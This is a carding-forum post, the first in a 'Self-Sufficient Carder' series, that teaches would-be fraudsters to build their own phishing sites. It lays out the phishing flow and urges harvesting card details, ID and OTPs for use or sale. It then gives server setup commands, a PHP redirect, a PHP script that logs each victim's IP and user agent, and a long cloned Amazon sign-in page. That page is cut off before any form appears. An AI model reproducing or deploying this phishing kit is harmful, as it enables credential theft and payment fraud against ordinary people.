- Joined
- 26.12.23
- Messages
- 223
- Reaction score
- 3,763
- Points
- 93
The Self-Sufficient Carder: Understanding the Art of Phishing
Alright you baby fraudsters it's time to level up your game. We're diving into the world of phishing, not just using some skiddie bullshit, but building your own fucking empire. This will be the first that will cover the basics and high-level structure. If you've been following this series you've got your own server ready to go, and now let's put that to work.
Why It Still Works
First off, let's break down why phishing is still the shit in 2024. It's simple really: humans are the weakest link. No matter how many security briefngs companies run there's always some idiot who'll click a random link and enter their credentials.
Here's the basic flow:
You send out a convincing email (we'll cover spamming in a future guide)
Victim clicks the link and lands on your fake site
They enter their credentials into a form
You capture that sweet, sweet data
The magic happens in those HTML forms. When a user submits their info, it's sent to a server (yours) where you can store it, analyze it, use it for yourself, or sell the data. An advanced phisher will maximize a victim click and extract as much juicy information as possible from the person. That means a Netflix phish page will not just get you Netflix accounts, but can be structured to get you card details, ID, OTP, and many more. Take a look at this beauty:
Baby's First Phish: The Amazon Special
Let's start with something simple, a basic Amazon phishing page. This is just a rudimentary setup to give you an basic understanding of how it works. Knowledge is power and understanding the basics will help you become a more successful carder in the long run.
Here's how to set it up on your server:
SSH into your server:
Code:
ssh your_username@your_server_ip
Code:
nano index.php
PHP:
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Create an 'ip.php' file to log visitor IPs:
Code:
nano ip.php
PHP:
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$useragent = " User-Agent: ";
$browser = $_SERVER['HTTP_USER_AGENT'];
$file = 'ip.txt';
$victim = "IP: ";
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $browser);
fclose($fp);
Create a 'login.html' file that mimics Amazon's login page:
Code:
nano login.html
HTML:
<!DOCTYPE html>
<html class="a-transition a-transform a-opacity a-border-image a-border-radius a-box-shadow a-text-stroke a-text-shadow a-touch-scrolling a-transform3d a-gradients a-local-storage a-textarea-placeholder a-input-placeholder a-autofocus a-webworker a-history a-geolocation a-drag-drop a-svg a-canvas a-video a-audio a-js a-ws a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-gradients a-transform3d a-touch-scrolling a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition" data-19ax5a9jf="dingo" data-aui-build-date="3.18.5-2018-04-12"><head><script async="" src="https://m.media-amazon.com/images/G/01/csm/showads.v2.js" crossorigin="anonymous"></script><script async="" src="https://images-eu.ssl-images-amazon.com/images/G/01/AUIClients/ClientSideMetricsAUIJavascript-69ab801358dfe32338d0619802ae6aabc188b1bd._V2_.js" crossorigin="anonymous"></script>
<script type="text/javascript">var ue_t0=ue_t0||+new Date();</script>
<script type="text/javascript">
var ue_csm = window,
ue_hob = +new Date();
(function(d){var e=d.ue=d.ue||{},f=Date.now||function(){return+new Date};e.d=function(b){return f()-(b?0:d.ue_t0)};e.stub=function(b,a){if(!b[a]){var c=[];b[a]=function(){c.push([c.slice.call(arguments),e.d(),d.ue_id])};b[a].replay=function(b){for(var a;a=c.shift();)b(a[0],a[1],a[2])};b[a].isStub=1}};e.exec=function(b,a){return function(){if(1==window.ueinit)try{return b.apply(this,arguments)}catch(c){ueLogError(c,{attribution:a||"undefined",logLevel:"WARN"})}}}})(ue_csm);
var ue_err_chan = 'jserr-rw';
(function(d,e){function h(f,b){if(!(a.ec>a.mxe)&&f){a.ter.push(f);b=b||{};var c=f.logLevel||b.logLevel;c&&c!==k&&c!==m&&c!==n&&c!==p||a.ec++;c&&c!=k||a.ecf++;b.pageURL=""+(e.location?e.location.href:"");b.logLevel=c;b.attribution=f.attribution||b.attribution;a.erl.push({ex:f,info:b})}}function l(a,b,c,e,g){d.ueLogError({m:a,f:b,l:c,c:""+e,err:g,fromOnError:1,args:arguments},g?{attribution:g.attribution,logLevel:g.logLevel}:void 0);return!1}var k="FATAL",m="ERROR",n="WARN",p="DOWNGRADED",a={ec:0,ecf:0,
pec:0,ts:0,erl:[],ter:[],mxe:50,startTimer:function(){a.ts++;setInterval(function(){d.ue&&a.pec<a.ec&&d.uex("at");a.pec=a.ec},1E4)}};l.skipTrace=1;h.skipTrace=1;h.isStub=1;d.ueLogError=h;d.ue_err=a;e.onerror=l})(ue_csm,window);
var ue_id = '6105GHANE540GE228KG6',
ue_url = '/ap/uedata',
ue_navtiming = 1,
ue_mid = 'A1F83G8C2ARO7P',
ue_sid = '261-5441383-4343233',
ue_sn = 'sellercentral-europe.amazon.com',
ue_furl = 'fls-eu.amazon.com',
ue_surl = '//unagi-eu.amazon.com/1/events/com.amazon.csm.nexusclient.prod',
ue_fcsn = 1,
ue_urt = 3,
ue_rpl_ns = 'cel-rpl',
ue_fpf = '//fls-eu.amazon.com/1/batch/1/OP/A1F83G8C2ARO7P:261-5441383-4343233:6105GHANE540GE228KG6$uedata=s:',
ue_swi = 1;
function ue_viz(){(function(c,e,a){function k(b){if(c.ue.viz.length<p&&!l){var a=b.type;b=b.originalEvent;/^focus./.test(a)&&b&&(b.toElement||b.fromElement||b.relatedTarget)||(a=e[m]||("blur"==a||"focusout"==a?"hidden":"visible"),c.ue.viz.push(a+":"+(+new Date-c.ue.t0)),"visible"==a&&(ue.isl&&uex("at"),l=1))}}for(var l=0,f,g,m,n=["","webkit","o","ms","moz"],d=0,p=20,h=0;h<n.length&&!d;h++)if(a=n[h],f=(a?a+"H":"h")+"idden",d="boolean"==typeof e[f])g=a+"visibilitychange",m=(a?a+"V":"v")+"isibilityState";
k({});d&&e.addEventListener(g,k,0);c.ue&&d&&(c.ue.pageViz={event:g,propHid:f})})(ue_csm,document,window)};
(function(a,g){function v(a){return a&&a.replace&&a.replace(/^\s+|\s+$/g,"")}function p(a){return"undefined"===typeof a}function t(d,c,e,h){var g=h||+new Date,m;a.ueam&&a.ueam(c,d,h);if(c||p(e)){if(d)for(m in h=c?f("t",c)||f("t",c,{}):a.ue.t,h[d]=g,e)e.hasOwnProperty(m)&&f(m,c,e[m]);return g}}function f(d,c,e){var f=a.ue,g=c&&c!=f.id?f.sc[c]:f;g||(g=f.sc[c]={});"id"==d&&e&&(f.cfa2=1);return g[d]=e||g[d]}function w(d,c,e,f,g){e="on"+e;var m=c[e];"function"===typeof m?d&&(a.ue.h[d]=m):m=function(){};
c[e]=g?function(a){f(a);m(a)}:function(a){m(a);f(a)};c[e]&&(c[e].isUeh=1)}function A(d,c,e){function h(c,e){var b=[c],D=0,g={},m,h;e?(b.push("m=1"),g[e]=1):g=a.ue.sc;for(h in g)if(g.hasOwnProperty(h)){var k=f("wb",h),l=f("t",h)||{},q=f("t0",h)||a.ue.t0,n;if(e||2==k){k=k?D++:"";b.push("sc"+k+"="+h);for(n in l)3>=n.length&&!p(l[n])&&null!==l[n]&&b.push(n+k+"="+(l[n]-q));b.push("t"+k+"="+l[d]);if(f("ctb",h)||f("wb",h))m=1}}!x&&m&&b.push("ctb=1");return b.join("&")}function z(c,b,e,d){if(c){var f=a.ue_err,
h;d&&a.ue.log||(h=new Image,a.ue.iel.push(h),h.src=c);E?a.ue_fpf&&g.encodeURIComponent&&c&&(d=new Image,c=""+a.ue_fpf+g.encodeURIComponent(c)+":"+(+new Date-a.ue_t0),a.ue.iel.push(d),d.src=c):a.ue.log&&(h=g.chrome&&"ul"==b,a.ue.log(c,"uedata",a.ue_svi?{n:1,img:!d&&h?1:0}:{n:1}),a.ue.ielf.push(c));f&&!f.ts&&f.startTimer();a.ue.b&&(f=a.ue.b,a.ue.b="",z(f,b,e,1))}}function m(c){if(!ue.collected){var b=c.timing,e=c.navigation,d=ue.t;b&&(d.na_=b.navigationStart,d.ul_=b.unloadEventStart,d._ul=b.unloadEventEnd,
d.rd_=b.redirectStart,d._rd=b.redirectEnd,d.fe_=b.fetchStart,d.lk_=b.domainLookupStart,d._lk=b.domainLookupEnd,d.co_=b.connectStart,d._co=b.connectEnd,d.sc_=b.secureConnectionStart,d.rq_=b.requestStart,d.rs_=b.responseStart,d._rs=b.responseEnd,d.dl_=b.domLoading,d.di_=b.domInteractive,d.de_=b.domContentLoadedEventStart,d._de=b.domContentLoadedEventEnd,d._dc=b.domComplete,d.ld_=b.loadEventStart,d._ld=b.loadEventEnd,b=d.na_,c="function"!==typeof c.now||p(b)?0:new Date(b+c.now())-new Date,d.ntd=c+a.ue.t0);
e&&(d.ty=e.type+a.ue.t0,d.rc=e.redirectCount+a.ue.t0);ue.collected=1}}function s(b){var c=n&&n.navigation?n.navigation.type:y,d=c&&2!=c,e=a.ue.bfini;a.ue.cfa2||(e&&1<e&&(b+="&bfform=1",d||(a.ue.isBFT=e-1)),2==c&&(b+="&bfnt=1",a.ue.isBFT=a.ue.isBFT||1),a.ue.ssw&&a.ue.isBFT&&(p(a.ue.isNRBF)&&(c=a.ue.ssw(a.ue.oid),c.e||p(c.val)||(a.ue.isNRBF=1<c.val?0:1)),p(a.ue.isNRBF)||(b+="&nrbf="+a.ue.isNRBF)),a.ue.isBFT&&!a.ue.isNRBF&&(b+="&bft="+a.ue.isBFT));return b}if(c||p(e)){for(var q in e)e.hasOwnProperty(q)&&
f(q,c,e[q]);t("pc",c,e);q=f("id",c)||a.ue.id;var b=a.ue.url+"?"+d+"&v="+a.ue.v+"&id="+q,x=f("ctb",c)||f("wb",c),n=g.performance||g.webkitPerformance,k,l;x&&(b+="&ctb="+x);1<a.ueinit&&(b+="&ic="+a.ueinit);!a.ue._fi||"at"!=d||c&&c!=q||(b+=a.ue._fi());if(!("ld"!=d&&"ul"!=d||c&&c!=q)){if("ld"==d){try{g.onbeforeunload&&g.onbeforeunload.isUeh&&(g.onbeforeunload=null)}catch(w){}if(g.chrome)for(l=0;l<ue.ulh.length;l++)B("beforeunload",ue.ulh[l]);(l=document.ue_backdetect)&&l.ue_back&&l.ue_back.value++;a._uess&&
(k=a._uess());a.ue.isl=1}ue._bf&&(b+="&bf="+ue._bf());a.ue_navtiming&&n&&n.timing&&(f("ctb",q,"1"),1==a.ue_navtiming&&t("tc",y,y,n.timing.navigationStart));n&&m(n);a.ue.t.hob=a.ue_hob;a.ue.t.hoe=a.ue_hoe;a.ue.ifr&&(b+="&ifr=1")}t(d,c,e);e="ld"==d&&c&&f("wb",c);var u;e||q==a.ue.oid||F((f("t",c)||{}).tc||+f("t0",c),+f("t0",c));a.ue_mbl&&a.ue_mbl.cnt&&!e&&(b+=a.ue_mbl.cnt());e?f("wb",c,2):"ld"==d&&(r.lid=v(q));for(u in a.ue.sc)if(1==f("wb",u))break;if(e){if(a.ue.s)return;b=h(b,null)}else l=h(b,null),
l!=b&&(l=s(l),a.ue.b=l),k&&(b+=k),b=h(b,c||a.ue.id);b=s(b);if(a.ue.b||e)for(u in a.ue.sc)2==f("wb",u)&&delete a.ue.sc[u];k=0;ue._rt&&(b+="&rt="+ue._rt());e||(a.ue.s=0,(k=a.ue_err)&&0<k.ec&&k.pec<k.ec&&(k.pec=k.ec,b+="&ec="+k.ec+"&ecf="+k.ecf),k=f("ctb",c),f("t",c,{}));b&&a.ue.tag&&0<a.ue.tag().length&&(b+="&csmtags="+a.ue.tag().join("|"),a.ue.tag=a.ue.tagC());b&&a.ue.viz&&0<a.ue.viz.length&&(b+="&viz="+a.ue.viz.join("|"),a.ue.viz=[]);b&&!p(a.ue_pty)&&(b+="&pty="+a.ue_pty+"&spty="+a.ue_spty+"&pti="+
a.ue_pti);b&&a.ue.tabid&&(b+="&tid="+a.ue.tabid);b&&a.ue.aftb&&(b+="&aftb=1");b&&a.ue.sbf&&(b+="&sbf=1");!a.ue._ui||c&&c!=q||(b+=a.ue._ui());a.ue.a=b;z(b,d,k,e)}}function s(a,c,e){e=e||g;e.addEventListener?e.addEventListener(a,c,!!window.ue_clf):e.attachEvent&&e.attachEvent("on"+a,c)}function B(a,c,e){e=e||g;e.removeEventListener?e.removeEventListener(a,c,!!window.ue_clf):e.detachEvent&&e.detachEvent("on"+a,c)}function C(){function d(){a.onUl()}function c(a){return function(){e[a]||(e[a]=1,A(a))}}
var e=a.ue.r,f,p;a.onLd=c("ld");a.onLdEnd=c("ld");a.onUl=c("ul");f={stop:c("os")};g.chrome?(s("beforeunload",d),ue.ulh.push(d)):f[G]=a.onUl;for(p in f)f.hasOwnProperty(p)&&w(0,g,p,f[p]);a.ue_viz&&ue_viz();s("load",a.onLd);t("ue")}function F(d,c){a.ue_mbl&&a.ue_mbl.ajax&&a.ue_mbl.ajax(d,c);a.ue.tag("ajax-transition")}a.ueinit=(a.ueinit||0)+1;var r={t0:g.aPageStart||a.ue_t0,id:a.ue_id,url:a.ue_url,rid:a.ue_id,a:"",b:"",h:{},r:{ld:0,oe:0,ul:0},s:1,t:{},sc:{},iel:[],ielf:[],fc_idx:{},viz:[],v:"0.200897.0",
d:a.ue&&a.ue.d,log:a.ue&&a.ue.log,clog:a.ue&&a.ue.clog,onflush:a.ue&&a.ue.onflush,onunload:a.ue&&a.ue.onunload,stub:a.ue&&a.ue.stub,lr:a.ue&&a.ue.lr,exec:a.ue&&a.ue.exec,event:a.ue&&a.ue.event,onSushiUnload:a.ue&&a.ue.onSushiUnload,onSushiFlush:a.ue&&a.ue.onSushiFlush,ulh:[],cfa2:0},E=a.ue_fpf?1:0,G="beforeunload",y;r.oid=v(r.id);r.lid=v(r.id);a.ue=r;a.ue._t0=a.ue.t0;a.ue.tagC=function(){var a={};return function(c){c&&(a[c]=1);c=[];for(var e in a)a.hasOwnProperty(e)&&c.push(e);return c}};a.ue.tag=
a.ue.tagC();a.ue.ifr=g.top!==g.self||g.frameElement?1:0;ue.attach=s;ue.detach=B;ue.reset=function(d,c){d&&(a.ue_cel&&a.ue_cel.reset(),a.ue.t0=+new Date,a.ue.rid=d,a.ue.id=d,a.ue.fc_idx={},a.ue.viz=[])};a.uei=C;a.ueh=w;a.ues=f;a.uet=t;a.uex=A;C()})(ue_csm,window);
ue.stub(ue,"log");ue.stub(ue,"onunload");ue.stub(ue,"onflush");
(function(b){var a=b.ue;a.cv={};a.cv.scopes={};a.count=function(c,b,d){var e={},f=a.cv;e.counter=c;e.value=b;e.t=a.d();d&&d.scope&&(f=a.cv.scopes[d.scope]=a.cv.scopes[d.scope]||{},e.scope=d.scope);if(void 0===b)return f[c];f[c]=b;c=0;d&&d.bf&&(c=1);a.clog&&0===c?a.clog(e,"csmcount",{bf:c}):a.log&&a.log(e,"csmcount",{c:1,bf:c})};a.count("baselineCounter2",1);a&&a.event&&(a.event({requestId:b.ue_id||"rid",server:b.ue_sn||"sn",obfuscatedMarketplaceId:b.ue_mid||"mid"},"csm","csm.CSMBaselineEvent.4"),
a.count("nexusBaselineCounter",1,{bf:1}))})(ue_csm);
var ue_hoe = +new Date();
</script>
<!-- 32k5af6y6qdxe0xnyv4ozxx --><script>var aPageStart = (new Date()).getTime();</script><meta charset="utf-8">
<title dir="ltr">Amazon Sign In</title>
<link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/61gbb09bfIL._RC|11Fd9tJOdtL.css,21ULbzscqzL.css,31Q3id-QR0L.css,31QszevPBSL.css_.css#AUIClients/AmazonUI.min">
<link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalAssets-60974eab2c51181b770605eaef55c2d69d69613c._V2_.css#AUIClients/AuthenticationPortalAssets.secure.min">
<link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/CVFAssets-e91ba5c6e67c58c7f9c4c413fa67697feade389e._V2_.css#AUIClients/CVFAssets.secure.min">
<script>
(function(f,h,I,ka){function u(a,b){r&&r.count&&r.count("aui:"+a,0===b?0:b||(r.count("aui:"+a)||0)+1)}function m(a){try{return a.test(navigator.userAgent)}catch(b){return!1}}function v(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent&&a.attachEvent("on"+b,c)}function q(a,b,c,e){b=b&&c?b+a+c:b||c;return e?q(a,b,e):b}function A(a,b,c){try{Object.defineProperty(a,b,{value:c,writable:!1})}catch(e){a[b]=c}return c}function J(){return setTimeout(U,0)}function la(a,b){var c=a.length,e=
c,g=function(){e--||(K.push(b),L||(J(),L=!0))};for(g();c--;)V[a[c]]?g():(w[a[c]]=w[a[c]]||[]).push(g)}function ma(a,b,c,e,g){var d=h.createElement(a?"script":"link");v(d,"error",e);g&&v(d,"load",g);if(a){d.type="text/javascript";d.async=!0;if(a=c)a=-1!==b.indexOf("images/I")||/AUIClients/.test(b);a&&d.setAttribute("crossorigin","anonymous");d.src=b}else d.rel="stylesheet",d.href=b;h.getElementsByTagName("head")[0].appendChild(d)}function W(a,b){return function(c,e){function g(){ma(b,c,d,function(b){M?
u("resource_unload"):d?(d=!1,u("resource_retry"),g()):(u("resource_error"),a.log("Asset failed to load: "+c));b&&b.stopPropagation?b.stopPropagation():f.event&&(f.event.cancelBubble=!0)},e)}if(X[c])return!1;X[c]=!0;u("resource_count");var d=!0;return!g()}}function na(a,b,c){for(var e={name:a,guard:function(c){return b.guardFatal(a,c)},logError:function(c,d,e){b.logError(c,d,e,a)}},g=[],d=0;d<c.length;d++)B.hasOwnProperty(c[d])&&(g[d]=N.hasOwnProperty(c[d])?N[c[d]](B[c[d]],e):B[c[d]]);return g}function x(a,
b,c,e,g){return function(d,h){function l(){var a=null;e?a=h:"function"===typeof h&&(p.start=y(),a=h.apply(f,na(d,k,m)),p.end=y());if(b){B[d]=a;a=d;for(V[a]=!0;(w[a]||[]).length;)w[a].shift()();delete w[a]}p.done=!0}var k=g||this;"function"===typeof d&&(h=d,d=void 0);b&&(d=(d||"__NONAME__").replace(/^prv:/,""),O.hasOwnProperty(d)&&k.error(q(", reregistered by ",q(" by ",d+" already registered",O[d]),k.attribution),d),O[d]=k.attribution);for(var m=[],n=0;n<a.length;n++)m[n]=a[n].replace(/^prv:/,"");
var p=Y[d||"anon"+ ++oa]={depend:m,registered:y(),namespace:k.namespace};c?l():la(m,k.guardFatal(d,l));return{decorate:function(a){N[d]=k.guardFatal(d,a)}}}}function Z(a){return function(){return{execute:x(arguments,!1,a,!1,this),register:x(arguments,!0,a,!1,this)}}}function aa(a){return function(b,c){c||(c=b,b=void 0);var e=this.attribution;return function(){C.push({attribution:e,name:b,logLevel:a});var g=c.apply(this,arguments);C.pop();return g}}}function D(a,b){this.load={js:W(this,!0),css:W(this)};
A(this,"namespace",b);A(this,"attribution",a)}function ba(){h.body?n.trigger("a-bodyBegin"):setTimeout(ba,20)}function z(a,b){if(b){for(var c=a.className.split(" "),e=c.length;e--;)if(c[e]===b)return;a.className+=" "+b}}function ca(a,b){for(var c=a.className.split(" "),e=[],g;void 0!==(g=c.pop());)g&&g!==b&&e.push(g);a.className=e.join(" ")}function da(a){try{return a()}catch(b){return!1}}function E(){if(F){var a=f.innerWidth?{w:f.innerWidth,h:f.innerHeight}:{w:k.clientWidth,h:k.clientHeight};5<Math.abs(a.w-
P.w)||50<a.h-P.h?(P=a,Q=4,(a=l.mobile||l.tablet?450<a.w&&a.w>a.h:1250<=a.w)?z(k,"a-ws"):ca(k,"a-ws")):Q--&&(ea=setTimeout(E,16))}}function pa(a){(F=void 0===a?!F:!!a)&&E()}function qa(){return F}"use strict";var G=I.now=I.now||function(){return+new I},y=function(a){return a&&a.now?a.now.bind(a):G}(f.performance);ka=y();var p=f.AmazonUIPageJS||f.P;if(p&&p.when&&p.register)throw Error("A copy of P has already been loaded on this page.");var r=f.ue;r&&r.tag&&(r.tag("aui"),r.tag("aui:aui_build_date:3.17.8.3-2018-06-19"));
var K=[],L=!1,U;U=function(){for(var a=J(),b=G();K.length;)if(K.shift()(),50<G()-b)return;clearTimeout(a);L=!1};m(/OS 6_[0-9]+ like Mac OS X/i)&&v(f,"scroll",J);var V={},w={},X={},M=!1;v(f,"beforeunload",function(){M=!0;setTimeout(function(){M=!1},1E4)});var O={},B={},N={},Y={},oa=0,R,C=[],fa=f.onerror;f.onerror=function(a,b,c,e,g){g&&"object"===typeof g||(g=Error(a,b,c),g.columnNumber=e,g.stack=b||c||e?q(String.fromCharCode(92),g.message,"at "+q(":",b,c,e)):void 0);var d=C.pop()||{};g.attribution=
q(":",g.attribution||d.attribution,d.name);g.logLevel=d.logLevel;g.attribution&&console&&console.log&&console.log([g.logLevel||"ERROR",a,"thrown by",g.attribution].join(" "));C=[];fa&&(d=[].slice.call(arguments),d[4]=g,fa.apply(f,d))};D.prototype={logError:function(a,b,c,e){b={message:b,logLevel:c||"ERROR",attribution:q(":",this.attribution,e)};if(f.ueLogError)return f.ueLogError(a||b,a?b:null),!0;console&&console.error&&(console.log(b),console.error(a));return!1},error:function(a,b,c,e){a=Error(q(":",
e,a,c));a.attribution=q(":",this.attribution,b);throw a;},guardError:aa(),guardFatal:aa("FATAL"),log:function(a,b,c){return this.logError(null,a,b,c)},declare:x([],!0,!0,!0),register:x([],!0),execute:x([]),AUI_BUILD_DATE:"3.17.8.3-2018-06-19",when:Z(),now:Z(!0),trigger:function(a,b,c){var e=G();this.declare(a,{data:b,pageElapsedTime:e-(f.aPageStart||NaN),triggerTime:e});c&&c.instrument&&R.when("prv:a-logTrigger").execute(function(b){b(a)})},handleTriggers:function(){this.log("handleTriggers deprecated")},
attributeErrors:function(a){return new D(a)},_namespace:function(a,b){return new D(a,b)}};var n=A(f,"AmazonUIPageJS",new D);R=n._namespace("PageJS","AmazonUI");R.declare("prv:p-debug",Y);n.declare("p-recorder-events",[]);n.declare("p-recorder-stop",function(){});A(f,"P",n);ba();if(h.addEventListener){var ga;h.addEventListener("DOMContentLoaded",ga=function(){n.trigger("a-domready");h.removeEventListener("DOMContentLoaded",ga,!1)},!1)}var k=h.documentElement,S=function(){var a=["O","ms","Moz","Webkit"],
b=h.createElement("div");return{testGradients:function(){b.style.cssText=("background-image:-webkit-gradient(linear,left top,right bottom,from(#9f9),to(white));background-image:"+a.join("linear-gradient(left top,#9f9, white);background-image:")).slice(0,-17);return-1<b.style.backgroundImage.indexOf("gradient")},test:function(c){var e=c.charAt(0).toUpperCase()+c.substr(1);c=(a.join(e+" ")+e+" "+c).split(" ");for(e=c.length;e--;)if(""===b.style[c[e]])return!0;return!1},testTransform3d:function(){var a=
!1;f.matchMedia&&(a=f.matchMedia("(-webkit-transform-3d)").matches);return a}}}(),p=k.className,ha=/(^| )a-mobile( |$)/.test(p),ia=/(^| )a-tablet( |$)/.test(p),l={audio:function(){return!!h.createElement("audio").canPlayType},video:function(){return!!h.createElement("video").canPlayType},canvas:function(){return!!h.createElement("canvas").getContext},svg:function(){return!!h.createElementNS&&!!h.createElementNS("https://www.w3.org/2000/svg","svg").createSVGRect},offline:function(){return navigator.hasOwnProperty&&
navigator.hasOwnProperty("onLine")&&navigator.onLine},dragDrop:function(){return"draggable"in h.createElement("span")},geolocation:function(){return!!navigator.geolocation},history:function(){return!(!f.history||!f.history.pushState)},webworker:function(){return!!f.Worker},autofocus:function(){return"autofocus"in h.createElement("input")},inputPlaceholder:function(){return"placeholder"in h.createElement("input")},textareaPlaceholder:function(){return"placeholder"in h.createElement("textarea")},localStorage:function(){return"localStorage"in
f&&null!==f.localStorage},orientation:function(){return"orientation"in f},touch:function(){return"ontouchend"in h},gradients:function(){return S.testGradients()},hires:function(){var a=f.devicePixelRatio&&1.5<=f.devicePixelRatio||f.matchMedia&&f.matchMedia("(min-resolution:144dpi)").matches;u("hiRes"+(ha?"Mobile":ia?"Tablet":"Desktop"),a?1:0);return a},transform3d:function(){return S.testTransform3d()},touchScrolling:function(){return m(/Windowshop|android.([3-9]|[L-Z])|OS ([5-9]|[1-9][0-9]+)(_[0-9]{1,2})+ like Mac OS X|Chrome|Silk|Firefox|Trident.+?; Touch/i)},
ios:function(){return m(/OS [1-9][0-9]*(_[0-9]*)+ like Mac OS X/i)&&!m(/trident|Edge/i)},android:function(){return m(/android.([1-9]|[L-Z])/i)&&!m(/trident|Edge/i)},mobile:function(){return ha},tablet:function(){return ia}},t;for(t in l)l.hasOwnProperty(t)&&(l[t]=da(l[t]));for(var T="textShadow textStroke boxShadow borderRadius borderImage opacity transform transition".split(" "),H=0;H<T.length;H++)l[T[H]]=da(function(){return S.test(T[H])});var F=!0,ea=0,P={w:0,h:0},Q=4;E();v(f,"resize",function(){clearTimeout(ea);
Q=4;E()});var ja={getItem:function(a){try{return f.localStorage.getItem(a)}catch(b){}},setItem:function(a,b){try{return f.localStorage.setItem(a,b)}catch(c){}}};ca(k,"a-no-js");z(k,"a-js");!m(/OS [1-8](_[0-9]*)+ like Mac OS X/i)||f.navigator.standalone||m(/safari/i)||z(k,"a-ember");p=[];for(t in l)l.hasOwnProperty(t)&&l[t]&&p.push("a-"+t.replace(/([A-Z])/g,function(a){return"-"+a.toLowerCase()}));z(k,p.join(" "));k.setAttribute("data-aui-build-date","3.17.8.3-2018-06-19");n.register("p-detect",function(){return{capabilities:l,
localStorage:l.localStorage&&ja,toggleResponsiveGrid:pa,responsiveGridEnabled:qa}});m(/UCBrowser/i)||l.localStorage&&z(k,ja.getItem("a-font-class"));n.declare("a-event-revised-handling",!1);n.declare("a-fix-event-off",!1);u("pagejs:pkgExecTime",y()-NaN)})(window,document,Date);
(window.AmazonUIPageJS ? AmazonUIPageJS : P).load.js('https://images-na.ssl-images-amazon.com/images/I/61tHvuwljLL._RC|11IYhapguOL.js,61Z-hR1QEiL.js,31pYyxAZJRL.js,31Qll8kfk9L.js,01N6xzIJxbL.js,516fQ5+zVmL.js,01rpauTep4L.js,31JzIBuTmgL.js,61uDiYnK9wL.js,01BBu+b9t0L.js_.js#AUIClients/AmazonUI.min');
(window.AmazonUIPageJS ? AmazonUIPageJS : P).load.js('https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalAssets-3cbd67cb821687489829ed6a61d9e8b52e65d2e3._V2_.js#AUIClients/AuthenticationPortalAssets.secure.min');
(window.AmazonUIPageJS ? AmazonUIPageJS : P).load.js('https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalInlineAssets-662783336058590306af126b0eeae5125982f026._V2_.js#AUIClients/AuthenticationPortalInlineAssets.secure.min');
(window.AmazonUIPageJS ? AmazonUIPageJS : P).load.js('https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/CVFAssets-53acd8e88d87f09d7e0bebd849f2fa4b112e99c7._V2_.js#AUIClients/CVFAssets.secure.min');
</script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/I/61tHvuwljLL._RC|11IYhapguOL.js,61Z-hR1QEiL.js,31pYyxAZJRL.js,31Qll8kfk9L.js,01N6xzIJxbL.js,516fQ5+zVmL.js,01rpauTep4L.js,31JzIBuTmgL.js,61uDiYnK9wL.js,01BBu+b9t0L.js_.js#AUIClients/AmazonUI.min"></script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalAssets-3cbd67cb821687489829ed6a61d9e8b52e65d2e3._V2_.js#AUIClients/AuthenticationPortalAssets.secure.min"></script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalInlineAssets-662783336058590306af126b0eeae5125982f026._V2_.js#AUIClients/AuthenticationPortalInlineAssets.secure.min"></script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/CVFAssets-53acd8e88d87f09d7e0bebd849f2fa4b112e99c7._V2_.js#AUIClients/CVFAssets.secure.min"></script>
<script type="text/javascript">
(function(e,c){function h(b,a){f.push([b,a])}function g(b,a){if(b){var c=e.head||e.getElementsByTagName("head")[0]||e.documentElement,d=e.createElement("script");d.async="async";d.src=b;d.setAttribute("crossorigin","anonymous");a&&a.onerror&&(d.onerror=a.onerror);a&&a.onload&&(d.onload=a.onload);c.insertBefore(d,c.firstChild)}}function k(){ue.uels=g;for(var b=0;b<f.length;b++){var a=f[b];g(a[0],a[1])}ue.deffered=1}var f=[];c.ue&&(ue.uels=h,c.ue.attach&&c.ue.attach("load",k))})(document,window);
(function(a){var b=a.alert;window.alert=function(){a.ueLogError&&a.ueLogError({message:"[CSM] Alert invocation detected with argument: "+arguments[0],logLevel:"WARN"});Function.prototype.apply.apply(b,[a,arguments||[]])}})(window);
(function(k,l,g){function m(a){c||(c=b[a.type].id,"undefined"===typeof a.clientX?(e=a.pageX,f=a.pageY):(e=a.clientX,f=a.clientY),2!=c||h&&(h!=e||n!=f)?(r(),d.isl&&l.setTimeout(function(){p("at",d.id)},0)):(h=e,n=f,c=0))}function r(){for(var a in b)b.hasOwnProperty(a)&&d.detach(a,m,b[a].parent)}function s(){for(var a in b)b.hasOwnProperty(a)&&d.attach(a,m,b[a].parent)}function t(){var a="";!q&&c&&(q=1,a+="&ui="+c);return a}var d=k.ue,p=k.uex,q=0,c=0,h,n,e,f,b={click:{id:1,parent:g},mousemove:{id:2,
parent:g},scroll:{id:3,parent:l},keydown:{id:4,parent:g}};d&&p&&(s(),d._ui=t)})(ue_csm,window,document);
if (window.ue && window.ue.uels) {
ue.uels("https://images-eu.ssl-images-amazon.com/images/G/01/AUIClients/ClientSideMetricsAUIJavascript-69ab801358dfe32338d0619802ae6aabc188b1bd._V2_.js");
}
